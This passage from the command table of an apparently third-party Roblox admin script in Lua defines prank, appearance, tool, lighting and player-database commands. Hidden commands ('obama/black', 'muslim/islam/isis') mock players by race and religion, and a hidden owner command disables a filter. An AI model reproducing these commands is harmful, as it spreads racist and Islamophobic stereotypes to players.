7003 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7004 local Players = STRING:Scan(Arguments[1], Speaker)
7005 for _,Player in pairs(Players) do
7006 Player:ClearCharacterAppearance()
7007 end
7008 end};
7009
7010 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7011 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7012 local TmpPlayers = {}
7013 local Output = {}
7014 for _,Data in pairs(Players) do
7015 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7016 end
7017 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7018 end};
7019
7020 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7021 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7022 GUI:SendHint(Speaker, "Player Database cleared", 5)
7023 end};
7024
7025 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7026 local Players = STRING:Scan(Arguments[1], Speaker)
7027 for _,Player in pairs(Players) do
7028 GUI:FakeHack(Player)
7029 end
7030 end};
7031
7032 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7033 local Players = STRING:Scan(Arguments[1], Speaker)
7034 for _,Player in pairs(Players) do
7035 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7036 for _,Object in pairs(Player.Backpack:GetChildren()) do
7037 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7038 local Clone = Object:Clone()
7039 Clone.Parent = Speaker.Backpack
7040 end
7041 end
7042 end
7043 end
7044 end};
7045
7046 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7047 local Players = STRING:Scan(Arguments[1], Speaker)
7048 for _,Player in pairs(Players) do
7049 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7050 for _,Object in pairs(Player.Backpack:GetChildren()) do
7051 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7052 Object.Parent = Speaker.Backpack
7053 end
7054 end
7055 end
7056 end
7057 end};
7058
7059 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7060 local Players = STRING:Scan(Arguments[1], Speaker)
7061 for _,Player in pairs(Players) do
7062 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7063 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7064 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7065 local Clone = Object:Clone()
7066 Clone.Parent = Player.Backpack
7067 end
7068 end
7069 end
7070 end
7071 end};
7072
7073 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7074 local Players = STRING:Scan(Arguments[1], Speaker)
7075 for _,Player in pairs(Players) do
7076 if Player:FindFirstChild("Backpack") then
7077 Player.Backpack:ClearAllChildren()
7078 end
7079 if Player.Character ~= nil then
7080 for _,Obj in pairs(Player.Character:GetChildren()) do
7081 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7082 Obj:Destroy()
7083 end
7084 end
7085 end
7086 end
7087 end};
7088
7089 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7090 local Players = STRING:Scan(Arguments[1], Speaker)
7091 for _,Player in pairs(Players) do
7092 if Player.Character then
7093 if Player.Character:FindFirstChild("Head") then
7094 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7095 coroutine.wrap(function()
7096 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7097 local OldFace = Player.Character.Head.face.Texture
7098 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7099 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7100 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7101 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7102 Sound:Play()
7103 coroutine.wrap(function() for i = 1,100 do wait()
7104 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7105 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7106 end
7107 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7108 end end
7109 end)()
7110 end
7111 end
7112 end
7113 end
7114 end};
7115
7116 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7117 local Players = STRING:Scan(Arguments[1], Speaker)
7118 for _,Player in pairs(Players) do
7119 if Player.Character then
7120 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7121 coroutine.wrap(function()
7122 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7123 local OldFace = Player.Character.Head.face.Texture
7124 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7125 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7126 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7127 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7128 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7129 Sound:Play()
7130 wait(1)
7131 Smoke.Enabled = false
7132 wait(1)
7133 Fart:Destroy()
7134 Fart:Destroy()
7135 Player.Character.Head.face.Texture = OldFace
7136 end end
7137 end)()
7138 end
7139 end
7140 end
7141 end};
7142
7143 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7144 local Players = STRING:Scan(Arguments[1], Speaker)
7145 for _,Player in pairs(Players) do
7146 if Player:FindFirstChild("Backpack") then
7147 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7148 end
7149 end
7150 end};
7151
7152 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7153 local Players = STRING:Scan(Arguments[1], Speaker)
7154 for _,Player in pairs(Players) do
7155 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7156 Player.Character.MMLGraffiti:ClearAllChildren()
7157 end
7158 end
7159 end};
7160
7161 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7162 local Players = STRING:Scan(Arguments[1], Speaker)
7163 for _,Player in pairs(Players) do
7164 if Player.Character and Player.Character:FindFirstChild("Torso") then
7165 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7166 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7167 end
7168 end
7169 end};
7170
7171 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7172 local Players = STRING:Scan(Arguments[1], Speaker)
7173 for _,Player in pairs(Players) do
7174 if Player.Character and Player.Character:FindFirstChild("Torso") then
7175 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7176 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7177 end
7178 end
7179 end};
7180
7181 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7182 local Players = STRING:Scan(Arguments[1], Speaker)
7183 for _,Player in pairs(Players) do
7184 if Player.Character and Player.Character:FindFirstChild("Torso") then
7185 local Lights = {}
7186 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7187 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7188 table.insert(Lights, Obj)
7189 end
7190 end
7191 for _,Light in pairs(Lights) do
7192 coroutine.wrap(function()
7193 for i = 1,20 do
7194 Light.Brightness = Light.Brightness/5
7195 wait()
7196 end
7197 Light:Destroy()
7198 end)()
7199 end
7200 end
7201 end
7202 end};
7203
7204 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7205 local Players = STRING:Scan(Arguments[1], Speaker)
7206 for _,Player in pairs(Players) do
7207 if Player.Character and Player:FindFirstChild("PlayerGui") then
7208 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7209 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7210 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7211 local Stop = false
7212 coroutine.wrap(function()
7213 repeat
7214 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7215 wait(0.1)
7216 until not SG or not SG.Parent
7217 end)()
7218 CORE:ExecuteResource("Drug", Player.Character)
7219 end
7220 end
7221 end};
7222
7223 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7224 local Players = STRING:Scan(Arguments[1], Speaker)
7225 for _,Player in pairs(Players) do
7226 if Player:FindFirstChild("PlayerGui") then
7227 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7228 wait() CORE:RestoreCamera(Player)
7229 end
7230 end
7231 end};
7232
7233 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7234 local AbuseMode = false
7235 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7236 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7237 if Speaker:FindFirstChild("Backpack") then
7238 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7239 end
7240 end)
7241 end, Http = true};
7242
7243 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7244 local Type = "all"
7245 local Query = string.lower(Arguments[1])
7246 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7247 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7248 Type = Arguments[1]
7249 Query = Arguments[2]
7250 end
7251 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7252 if Speaker.Character then
7253 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7254 end
7255 end, MARKET:AccessoryToSubcategory(Type))
7256 end, Http = true};
7257
7258 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7259 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7260 if Speaker.Character then
7261 CORE:GivePackage(Speaker, ID)
7262 end
7263 end, 11)
7264 end, Http = false};
7265
7266 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7267 local Players = STRING:Scan(Arguments[1], Speaker)
7268 for _,Player in pairs(Players) do
7269 CORE:GivePackage(Player)
7270 end
7271 end};
7272
7273 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7274 local Players = STRING:Scan(Arguments[1], Speaker)
7275 for _,Player in pairs(Players) do
7276 CORE:GivePackage(Player, Arguments[2])
7277 end
7278 end, Http = false};
7279
7280 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7281 local Players = STRING:Scan(Arguments[1], Speaker)
7282 for _,Player in pairs(Players) do
7283 local Stats = Player:FindFirstChild("leaderstats")
7284 if Stats ~= nil then
7285 for _,Stat in pairs(Stats:GetChildren()) do
7286 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7287 ypcall(function() Stat.Value = Arguments[3] end)
7288 end
7289 end
7290 end
7291 end
7292 end};
7293
7294 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7295 local ID = tonumber(Arguments[2])
7296 local Players = STRING:Scan(Arguments[1], Speaker)
7297 for _,Player in pairs(Players) do
7298 for _,Player in pairs(Players) do
7299 if Player.Character ~= nil then
7300 local Obj = Player.Character:FindFirstChild("Shirt")
7301 if Obj then
7302 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7303 else
7304 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7305 end
7306 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7307 end
7308 end
7309 end
7310 end};
7311
7312 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7313 local ID = tonumber(Arguments[2])
7314 local Players = STRING:Scan(Arguments[1], Speaker)
7315 for _,Player in pairs(Players) do
7316 for _,Player in pairs(Players) do
7317 if Player.Character ~= nil then
7318 local Obj = Player.Character:FindFirstChild("Pants")
7319 if Obj then
7320 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7321 else
7322 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7323 end
7324 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7325 end
7326 end
7327 end
7328 end};
7329
7330 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7331 local ID = tonumber(Arguments[2])
7332 local Players = STRING:Scan(Arguments[1], Speaker)
7333 for _,Player in pairs(Players) do
7334 for _,Player in pairs(Players) do
7335 if Player.Character ~= nil then
7336 if Player.Character:FindFirstChild("Torso") then
7337 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7338 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7339 if Obj1 then
7340 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7341 else
7342 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7343 end
7344 if Obj2 then
7345 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7346 else
7347 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7348 end
7349 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7350 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7351 end
7352 end
7353 end
7354 end
7355 end};
7356
7357 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7358 local Players = STRING:Scan(Arguments[1], Speaker)
7359 for _,Player in pairs(Players) do
7360 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7361 end
7362 end};
7363
7364 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7365 if CORE:InAdminGroup(Speaker) then
7366 local Players = STRING:Scan(Arguments[1], Speaker)
7367 for _,Player in pairs(Players) do
7368 if Player:FindFirstChild("Backpack") then
7369 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7370 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7371 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7372 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7373 CORE:ExecuteResource("CookieTool", Tool)
7374 end
7375 end
7376 end
7377 end};
7378
7379 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7380 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7381 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7382 end
7383 end};
7384
7385 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7386 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7387 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7388 Model:MakeJoints()
7389 for i = 1,math.random(10,20) do
7390 Model.Name = Model.Name..string.char(math.random(97,122))
7391 end
7392 if Model:GetChildren()[1] then
7393 table.insert(Objects, Model)
7394 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7395 end
7396 end
7397 end};
7398
7399 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7400 local ID = tonumber(Arguments[2])
7401 local Players = STRING:Scan(Arguments[1], Speaker)
7402 for _,Player in pairs(Players) do
7403 if Player.Character then
7404 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7405 end
7406 end
7407 end};
7408
7409 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7410 local Players = STRING:Scan(Arguments[1], Speaker)
7411 for _,Player in pairs(Players) do
7412 if Player.Character then
7413 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7414 if StopAnim then StopAnim:Destroy() end
7415 end
7416 end
7417 end};
7418
7419 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7420 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7421 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7422 end
7423 end};
7424
7425 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7426 if tonumber(Arguments[1]) then
7427 Server.Lighting.Brightness = tonumber(Arguments[1])
7428 end
7429 end};
7430
7431 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7432 local Players = STRING:Scan(Arguments[1], Speaker)
7433 for _,Player in pairs(Players) do
7434 GUI:CoreGui(Player, "PlayerList", true)
7435 end
7436 end};
7437
7438 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7439 local Players = STRING:Scan(Arguments[1], Speaker)
7440 for _,Player in pairs(Players) do
7441 local Players = STRING:Scan(Arguments[1], Speaker)
7442 GUI:CoreGui(Player, "PlayerList", false)
7443 end
7444 end};
7445
7446 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7447 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7448 end, Hidden = true};
7449
7450 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7451 local Players = STRING:Scan(Arguments[1], Speaker)
7452 for _,Player in pairs(Players) do
7453 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7454 end
7455 end, Hidden = true};
7456
7457 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7458 local Players = STRING:Scan(Arguments[1], Speaker)
7459 for _,Player in pairs(Players) do
7460 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7461 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7462 Player:ClearCharacterAppearance()
7463 CORE:Insert(12436480, Player.Character, true)
7464 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7465 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7466 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7467 end
7468 end
7469 end, Hidden = true};
7470
7471 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7472 local Players = STRING:Scan(Arguments[1], Speaker)
7473 for _,Player in pairs(Players) do
7474 CORE:ChangeCharacter(Player, 0, false, Speaker)
7475 end
7476 end};
7477
7478 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7479 ShouldFilter = false
7480 end, Hidden = true};
7481
7482 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7483 local Bet = Arguments[1]
7484 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7485 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7486 elseif #Bet > 5 then
7487 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7488 else
7489 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7490 if Answer == "Yes" then
7491 local OldBet = Settings.Bet
7492 CORE:ChangeBet(Bet)
7493 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7494 end
7495 end
7496 end};
7497
7498 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7499 local Prefix = Arguments[1]
7500 if #Prefix > 5 then
7501 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7502 else
7503 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7504 if Answer == "Yes" then
7505 local OldPrefix = Settings.Prefix
7506 Settings.Prefix = Prefix
7507 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7508 end
7509 end
7510 end};
7511
7512 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7513 GUI:CommandBar(Speaker)
7514 end};
7515
7516 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7517 GUI:CommandBar(Speaker)
7518 PermCommandBars[Speaker.Name] = true
7519 end};
7520
7521 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7522 PermCommandBars[Speaker.Name] = nil
7523 end};
7524
7525 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7526 local Players = STRING:Scan(Arguments[1], Speaker)
7527 for _,Player in pairs(Players) do
7528 PermCommandBars[Player.Name] = nil
7529 end
7530 end};
7531
7532 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7533 CORE:CreateFigure("Dummy", nil, true, Speaker)
7534 end};
7535
7536 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7537 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7538 end};
7539
7540 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7541 local Players = STRING:Scan(Arguments[1], Speaker)
7542 for _,Player in pairs(Players) do
7543 CORE:ClonePlayer(Player)
7544 end
7545 end};
7546
7547 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7548 local Players = STRING:Scan(Arguments[1], Speaker)
7549 for _,Player in pairs(Players) do
7550 CORE:ClonePlayer(Player, Arguments[2])
7551 end
7552 end};
7553
7554 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7555 for _,Obj in pairs(Objects) do
7556 if Obj then Obj:Destroy() end
7557 end
7558 for Name,Jail in pairs(Jails) do
7559 if not game.Players:FindFirstChild(Name) then
7560 Jail:Destroy()
7561 Jails[Name] = nil
7562 end
7563 end
7564 Objects = {}
7565 end};
7566
7567 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7568 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7569 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7570 Obj:Destroy()
7571 end
7572 end
7573 end};
7574
7575 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7576 local Players = STRING:Scan(Arguments[1], Speaker)
7577 for _,Player in pairs(Players) do
7578 if Player.Character and Player.Character:FindFirstChild("Torso") then
7579 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7580 end
7581 end
7582 end};
7583
7584 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7585 local Players = STRING:Scan(Arguments[1], Speaker)
7586 for _,Player in pairs(Players) do
7587 if Player.Character and Player.Character:FindFirstChild("Torso") then
7588 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7589 end
7590 end
7591 end};
7592
7593 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7594 local Players = STRING:Scan(Arguments[1], Speaker)
